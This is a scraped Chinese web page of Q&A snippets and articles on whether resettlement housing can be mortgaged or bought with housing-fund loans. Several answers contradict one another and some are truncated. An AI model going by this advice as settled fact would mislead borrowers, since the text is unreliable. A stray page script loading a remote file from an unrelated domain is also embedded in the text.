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方琛丽
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问求问买拆迁安置房可以贷款吗
答可以,贷款是银行发行的,安置房是政府或企业进行城市道路建设和其他公共设施建设项目时,对被拆迁住户进行安置所建的房屋,是不相干的 拆迁安置房一般要几年才能
问请问拆迁安置房能否贷款?
答拆迁安置房合同不能做银行抵押贷款的。房产证是房屋产权登记的合法凭据,只有拆迁安置房合同,没有办理产权登记是不能在银行抵押贷款的。
问请问拆迁安置房能否贷款?
答拆迁安置房当然可以贷款。对于拆迁就地安置人员国家给予住房公积金货款而且可以享受多项优惠,你可以咨询一下负责拆迁的工作人员。
问谁可以告诉我南京拆迁安置房可以贷款吗
答主要是看土地证性质是国有还是集体;如果安置的土地性质是集体,那么只能做为宅基地在集体内部转让,不能上市交易;土地证性质是国有是能上市是可以买的。 根据相
问有没有人知道拆迁安置房可用公积金贷款吗
答拆迁安置房可以用公积金贷款,公积金用途: 1、购房; 2、建造翻建大修住房; 3、租房; 4、父母给儿女购房; 5、销户可提取全部余
回迁房抵押贷款可以吗?回迁房抵押贷款需要哪些条件?
近几年中国经济在不断的发展进步,几乎所有的城市都在进行城市改造,城市改造最主要的就是各种拆迁,建设更好更大的建筑,建设更宽的道路,因此也有了拆迁户一说,一般国家给拆迁户都会配备回迁房,那么回迁房和普通的商品房一样吗?用回迁房抵押贷款可以吗?回迁房抵押贷款需要哪些条件呢?下面小编给大家做一个详细的介绍。回迁房抵押贷款可以吗?拆迁安置过程中,如果采取货币补偿方式,拆迁户用补偿款购买商品房与普通人购买商品房没有任何区别,都是花钱买房,购房者的身份是相同的。如果采取的是回迁的方式,因为回迁房不是商品房,不能当作商品房出售,二者之间存在一些区别。首先,在房价款方面,商品房与拆迁房有区别,商品房可立即上市,且可做银行抵押贷款。而拆迁房享受国家政策的优惠,不含土地转让金,价格相对低廉且有大、小产权之说,故不享有商品房的上述权能。拆迁人以回迁房补偿被拆迁人的,补偿房屋由市政府有关主管部门参照经济适用住房政策核定价格,并按照经济适用住房政策管理。其次,在房屋公摊面积方面,依照规定,商品房按照《北京市商品房销售面积计算及公用建筑面积分摊暂行规定》进行计算,对于回迁安置的拆迁房要按照相应的规定执行。回迁房不是纯经济适用房,因此上市也没受到国家限制,可以直接办理房产抵押贷款业务,但银行方面要求房主必须出示回迁协议证明房屋的回迁房性质,银行才会再根据房主提供的其他材料来给房主做贷款手续。回迁房就是开发商征收土地时,赔给回迁民的房子;商品房就是由开发商自己出售的房子。回迁房抵押贷款需要具备的条件1、必须出示回迁协议来证明该回迁房性质是否受到政策限制2、回迁房必须五证齐全3、回迁房必须已经拿到房产证,仅有回迁证是不能贷款的。满足以上三个条件,银行才会再根据房主提供的其他材料来办理后续贷款手续,但无论是银行贷款还是民间贷款,回迁房的价值评估一般不会太高。大家都知道回迁房就是给拆迁户的赔偿房屋,它原本的价值是要比市场价格便宜很多,那么这样的房子也可以抵押贷款吗?回迁房早政策内是被看作是经济适用房同等的类别。那么贷款时,是不是贷款的金额也会有所限制呢?回迁房和商品房的具体区别在哪里呢?小编在上文中队回迁房抵押贷款的一些相关问题做了详细介绍,大家可参考。
拆迁后的安置房可以贷款吗?
现如今的社会,拆迁安置房的出现,让一些本就拥有老房子的人,在确定房屋将会拆迁之前或之后,将会得到一定的便利和好处,也就是用于购买安置房的补偿款,那么在安置房的安置问题上也有人问道:属于拆迁的安置房可以贷款吗?安置房可以贷款吗这个问题,首先可以确定的是:肯定的回答。但是一般情况下,用于补偿的赔偿资金一般都会高于用于安置房购买的金额,故在此种情况下,是不需要用贷款的方式来获得最终拆迁安置房。其次,在安置房可以贷款吗这个问题上,不同省市分别有不同的政策。如果是在职员工,而且已经缴纳了公积金的职工与没有单位和没有缴纳公积金的居民所享受的政策是不一样的。那么该如何区分是否具备以上办理条件来申请安置房可以贷款吗的问题呢?第一,需要拥有本地常住居民身份证或者户口;第二,若是普通职工,其所缴纳的公积金需要连续缴纳一年及以上的时间,而对于新入职的职工,其所缴纳的公积金周期要在半年及以上才能申请;第三,需要有真实的拆迁安置房的举措和行为。第四,需要申请或偿还贷款之人的良好的个人增信,拥有较为稳定和持续的收入水平,并且具有后期偿还贷款的相对应之能力。第五,申请贷款之后,需要将拆迁安置房的价值全部作为抵押的金额。第六,需要申请安置房贷款的夫妻双方当事人,需要了结之前已经申请的相关贷款。关于拆迁安置房可以贷款吗的问题,需要满足以上的条件,方可以做相关贷款手续,但是不同地区会有不同的规定,还需要按照当地的具体政策来办理。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
安置房可以抵押贷款吗?都需要什么条件?
国内的经济发达,国家也有政策让很多落后城市进行整改。很多跟不上时代或者年代过久的的旧楼以及因城市要规划和很多项目开发等原因进行拆迁,那拆迁户越来越多也就出现了许多安置房。安置房其实是一种补偿性的房屋,给被拆迁人居住。很多人住进安置房以后想用安置房抵押贷款,买一套属于自己的房子。其实贷款买房是很正常的事,可以减轻囊中羞涩的尴尬。但是大家对安置房可以抵押贷款吗需要哪些条件才可以贷款感到困扰。一起来了解了解吧。其实安置房可以抵押贷款吗能主要还要看是否拥有房产证,如果业主的安置房已经取得了房产证,而且也没有对对业主拥有的安置房限制对外出售或者是限制对外转让期限已过,在业主遇到资金问题时是可以申请抵押贷款的。安置房抵押贷款需要哪些条件1.事实上,安置房土地性质属划拨,无产权证不能贷款,有产权证可贷款,安置房若是政策性服务,银行不受理作为抵押物,也就不能抵押贷款。2.安置房属于大产权,可向银行贷款,公积金贷款也可以。3.安置房抵押贷款需满足一定条件:年满18周岁,有完全民事行为能力的自然人;有稳定的职业和收入、信用良好,有还贷能力;银行规定的其它条件。4.借款人有稳定的工作和收入、信用良好,有足够的还款能力。5.想用安置房做抵押贷款的首要条件是该已取得房产证。安置房可以抵押贷款吗需要哪些条件其实安置房分为两种性质,一种是因为占地原因,为了安置拆迁户住房问题修建的。这一类房屋,限制比较严在五年内不允许交易。另外一种是原住房被征收而动迁,拆迁单位为被拆迁户购买居住的房子,一般这种情况下,安置房和普通的商品房没有太多的差别,也是属于私有房产。安置房对交易没有限制,可以自由交易。
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